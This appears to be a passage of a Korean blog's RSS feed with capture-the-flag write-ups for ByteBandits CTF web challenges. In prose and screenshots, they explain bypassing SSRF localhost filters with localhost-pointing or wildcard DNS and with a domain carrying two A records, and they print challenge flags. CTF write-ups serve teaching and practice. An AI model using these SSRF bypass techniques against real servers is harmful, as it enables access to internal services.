&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;2.PNG&quot; width=&quot;860&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dW7gVF/btquy1iceZ3/SpkkqNDaEHHlP6O78rUZeK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dW7gVF/btquy1iceZ3/SpkkqNDaEHHlP6O78rUZeK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dW7gVF/btquy1iceZ3/SpkkqNDaEHHlP6O78rUZeK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdW7gVF%2Fbtquy1iceZ3%2FSpkkqNDaEHHlP6O78rUZeK%2Fimg.png&quot; data-filename=&quot;2.PNG&quot; width=&quot;860&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;사이트에 접속하면 &lt;a href=&quot;https://posix.tistory.com/106&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Online Previewer 1 문제&lt;/a&gt;와 동일한&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;단일 폼이 보입니다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;3.PNG&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/QMz0O/btquzHX4kS2/MxjUECFvEN0d6W11NZNabk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/QMz0O/btquzHX4kS2/MxjUECFvEN0d6W11NZNabk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/QMz0O/btquzHX4kS2/MxjUECFvEN0d6W11NZNabk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FQMz0O%2FbtquzHX4kS2%2FMxjUECFvEN0d6W11NZNabk%2Fimg.png&quot; data-filename=&quot;3.PNG&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;플래그가 숨겨진 장소도 동일합니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;그럼 검증 방법이 강화되었다는 것이겠죠?&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/csiXKu/btquzHcHY0O/XoshRnl5ffTaG6MxoYwFiK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/csiXKu/btquzHcHY0O/XoshRnl5ffTaG6MxoYwFiK/img.png&quot; data-filename=&quot;9.PNG&quot; style=&quot;width: 48.4406%;&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/csiXKu/btquzHcHY0O/XoshRnl5ffTaG6MxoYwFiK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcsiXKu%2FbtquzHcHY0O%2FXoshRnl5ffTaG6MxoYwFiK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;&quot; height=&quot;&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Qc9ZI/btquwnmsErs/axU1SDYyBRk392IGAwpwkK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Qc9ZI/btquwnmsErs/axU1SDYyBRk392IGAwpwkK/img.png&quot; data-filename=&quot;4.PNG&quot; style=&quot;width: 48.9552%;&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Qc9ZI/btquwnmsErs/axU1SDYyBRk392IGAwpwkK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FQc9ZI%2FbtquwnmsErs%2FaxU1SDYyBRk392IGAwpwkK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;&quot; height=&quot;&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;127.0.0.1 을 가리키는 도메인을 넣어도&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;훌륭하게 막고 있는것을 볼 수 있습니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;동일하게 로컬호스트로 해석되는 도메인을 몇개 더 넣어봤지만&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;동일하게 막혀있는 것을 보면&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;실제로 도메인 서버에 요청하여&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;주소를 검증하고 있다는 것을 추측해볼 수 있습니다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;5.png&quot; width=&quot;860&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/JFa8y/btquzGkyO36/cKHykfBm0GNSF0PeKWpQb1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/JFa8y/btquzGkyO36/cKHykfBm0GNSF0PeKWpQb1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/JFa8y/btquzGkyO36/cKHykfBm0GNSF0PeKWpQb1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FJFa8y%2FbtquzGkyO36%2FcKHykfBm0GNSF0PeKWpQb1%2Fimg.png&quot; data-filename=&quot;5.png&quot; width=&quot;860&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;이 문제는 기형의 dns 서버를 구성함으로서&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;해결할 수 있습니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;위 사진을 보면&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;동일한 주소에&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;서로 다른 2개의 A 레코드를 기록하였는데요.&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;일반적으로 하나의 주소에는 하나의 ip가 할당됩니다만&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;여러개의 ip를 할당하는 것도 가능합니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;부하 분산을 위해 대형 서버의 경우&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;이렇게 구성하는 곳도 많은데요.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;이렇게 되면 요청시마다&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;2개의 ip를&amp;nbsp;&lt;/span&gt;랜덤으로 가져오게 됩니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;dns 서비스를 제공사에서는&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;클라이언트 단에서&amp;nbsp;&lt;/span&gt;위와 같은 중복 구성을 막는 경우도 있으므로&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;개인적으로 네임서버를 구성하시거나&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;중복 구성이 가능한 사이트를 이용하시면 되겠습니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;6.PNG&quot; width=&quot;860&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/HXH1M/btquvPRd2h6/WGJhgILnJmKPqYJTHieQC1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/HXH1M/btquvPRd2h6/WGJhgILnJmKPqYJTHieQC1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/HXH1M/btquvPRd2h6/WGJhgILnJmKPqYJTHieQC1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FHXH1M%2FbtquvPRd2h6%2FWGJhgILnJmKPqYJTHieQC1%2Fimg.png&quot; data-filename=&quot;6.PNG&quot; width=&quot;860&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;dns 구성 후에 요청을 몇번 수행하시다 보면&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;일정 확률로 플래그가 출력되는 것을 확인할 수 있습니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre class=&quot;brush:py autoit&quot;&gt;flag{dNs_c@nT_b3_Tru$ted_258097}&lt;/pre&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://graneed.hatenablog.com/entry/2019/04/14/003250&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://graneed.hatenablog.com/entry/2019/04/14/003250&lt;/a&gt; &lt;br /&gt;&lt;a href=&quot;https://jbz.team/securityfest2018/Pongdom&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://jbz.team/securityfest2018/Pongdom&lt;/a&gt;&lt;/p&gt;</description>
      <category>CTF Writups</category>
      <author>POSIX</author>
      <guid isPermaLink="true">https://posix.tistory.com/107</guid>
      <comments>https://posix.tistory.com/107#entry107comment</comments>
      <pubDate>Sun, 14 Apr 2019 18:23:59 +0900</pubDate>
    </item>
    <item>
      <title>ByteBandits CTF - Online Previewer 1 문제풀이</title>
      <link>https://posix.tistory.com/106</link>
      <description>&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;1.PNG&quot; width=&quot;860&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bhocPG/btquxpxhGeS/kMGAwWHC2s0epteOzQeaTK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bhocPG/btquxpxhGeS/kMGAwWHC2s0epteOzQeaTK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bhocPG/btquxpxhGeS/kMGAwWHC2s0epteOzQeaTK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbhocPG%2FbtquxpxhGeS%2FkMGAwWHC2s0epteOzQeaTK%2Fimg.png&quot; data-filename=&quot;1.PNG&quot; width=&quot;860&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;ByteBandits CTF Web 2번&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;SSRF 문제입니다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;2.PNG&quot; width=&quot;860&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/PWd15/btquzGY8A5D/DJ05KniC0cL9eAgPYRLJKK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/PWd15/btquzGY8A5D/DJ05KniC0cL9eAgPYRLJKK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/PWd15/btquzGY8A5D/DJ05KniC0cL9eAgPYRLJKK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FPWd15%2FbtquzGY8A5D%2FDJ05KniC0cL9eAgPYRLJKK%2Fimg.png&quot; data-filename=&quot;2.PNG&quot; width=&quot;860&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;사이트에 접속하면 단일 폼이 보입니다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;3.PNG&quot; width=&quot;860&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/TBUyK/btquw2CkkzG/5qz6mKKyDljoJkRsigWjwk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/TBUyK/btquw2CkkzG/5qz6mKKyDljoJkRsigWjwk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/TBUyK/btquw2CkkzG/5qz6mKKyDljoJkRsigWjwk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FTBUyK%2Fbtquw2CkkzG%2F5qz6mKKyDljoJkRsigWjwk%2Fimg.png&quot; data-filename=&quot;3.PNG&quot; width=&quot;860&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;주소를 입력하고 제출하면&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;요청한 URL의 페이지가 표시되는 것을 확인할 수 있습니다.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bYR9v3/btquvOkuGOX/homAmJM1kWyZQ3KxjD5SSK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bYR9v3/btquvOkuGOX/homAmJM1kWyZQ3KxjD5SSK/img.png&quot; data-filename=&quot;4.PNG&quot; style=&quot;width: 68.3911%;&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bYR9v3/btquvOkuGOX/homAmJM1kWyZQ3KxjD5SSK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbYR9v3%2FbtquvOkuGOX%2FhomAmJM1kWyZQ3KxjD5SSK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;&quot; height=&quot;&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/CexX7/btquxtGdvqB/1i7BUo9zKKmB10bDQNfP00/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/CexX7/btquxtGdvqB/1i7BUo9zKKmB10bDQNfP00/img.png&quot; data-filename=&quot;5.PNG&quot; style=&quot;width: 29.2833%;&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/CexX7/btquxtGdvqB/1i7BUo9zKKmB10bDQNfP00/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FCexX7%2FbtquxtGdvqB%2F1i7BUo9zKKmB10bDQNfP00%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;&quot; height=&quot;&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;webhook.site 를 이용하여 해당 요청을 받아보면&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;user-agent 를 보아&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;서버에서 python의 requests 모듈을 이용해 데이터를 가져온다는 사실을&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;알 수 있습니다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;6.PNG&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b3vpp0/btquxK12eCM/hKUFXkBpdm6ivJEziFCTkK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b3vpp0/btquxK12eCM/hKUFXkBpdm6ivJEziFCTkK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b3vpp0/btquxK12eCM/hKUFXkBpdm6ivJEziFCTkK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb3vpp0%2FbtquxK12eCM%2FhKUFXkBpdm6ivJEziFCTkK%2Fimg.png&quot; data-filename=&quot;6.PNG&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;메인 페이지의 소스를 확인해 보면&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;127.0.0.1:1337 주소에 비밀이 숨겨져 있다는 것을 알려줍니다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/08IMe/btquzGdM5f5/WDekVV394YO8Z2tR6bf3J0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/08IMe/btquzGdM5f5/WDekVV394YO8Z2tR6bf3J0/img.png&quot; data-filename=&quot;7.PNG&quot; style=&quot;width: 55.5558%;&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/08IMe/btquzGdM5f5/WDekVV394YO8Z2tR6bf3J0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F08IMe%2FbtquzGdM5f5%2FWDekVV394YO8Z2tR6bf3J0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;&quot; height=&quot;&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/AdvhS/btquxpxhGgC/5dwOCFNvImGYWLrxd0exj0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/AdvhS/btquxpxhGgC/5dwOCFNvImGYWLrxd0exj0/img.png&quot; data-filename=&quot;8.PNG&quot; style=&quot;width: 41.9253%;&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/AdvhS/btquxpxhGgC/5dwOCFNvImGYWLrxd0exj0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FAdvhS%2FbtquxpxhGgC%2F5dwOCFNvImGYWLrxd0exj0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;&quot; height=&quot;&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;그러나 실제로 접속을 시도해 보면&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;b&gt;Can't do that mate.&lt;/b&gt; 메시지와 함께 거부됩니다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;9.PNG&quot; width=&quot;860&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/c8e3RE/btquzFTt9IY/Zlc1SsLRx0p7wh5KaOgv7K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/c8e3RE/btquzFTt9IY/Zlc1SsLRx0p7wh5KaOgv7K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/c8e3RE/btquzFTt9IY/Zlc1SsLRx0p7wh5KaOgv7K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fc8e3RE%2FbtquzFTt9IY%2FZlc1SsLRx0p7wh5KaOgv7K%2Fimg.png&quot; data-filename=&quot;9.PNG&quot; width=&quot;860&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;본 문제는 제공된 도메인 문자열을 통해&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;로컬호스트인지 검증을 수행하고 있는데요&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;실제 요청을 보내 확인하지 않고&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;문자열만을 통한 도메인 검증방식은&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://posix.tistory.com/102&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;로컬호스트를 가리키는 DNS&lt;/a&gt; 또는&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://posix.tistory.com/96&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;와일드카드 DNS&lt;/a&gt; 를 통해 쉽게 우회할 수 있습니다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;pre class=brush:py&gt;flag{ev1l_dn$_2750927}&lt;/pre&gt;&lt;/span&gt;&lt;/p&gt;</description>
      <category>CTF Writups</category>
      <author>POSIX</author>
      <guid isPermaLink="true">https://posix.tistory.com/106</guid>
      <comments>https://posix.tistory.com/106#entry106comment</comments>
      <pubDate>Sun, 14 Apr 2019 18:01:57 +0900</pubDate>
    </item>
    <item>
      <title>ByteBandits CTF - EasyPHP 문제풀이</title>
      <link>https://posix.tistory.com/105</link>
      <description>&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;1.PNG&quot; width=&quot;860&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/btlUbL/btquvOkuhd7/g2gfzykmEIaiqNnyhBGbkk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/btlUbL/btquvOkuhd7/g2gfzykmEIaiqNnyhBGbkk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/btlUbL/btquvOkuhd7/g2gfzykmEIaiqNnyhBGbkk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbtlUbL%2FbtquvOkuhd7%2Fg2gfzykmEIaiqNnyhBGbkk%2Fimg.png&quot; data-filename=&quot;1.PNG&quot; width=&quot;860&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;ByteBandits CTF Web 1번&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;b&gt;parse_str&lt;/b&gt; 함수 취약점 문제입니다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
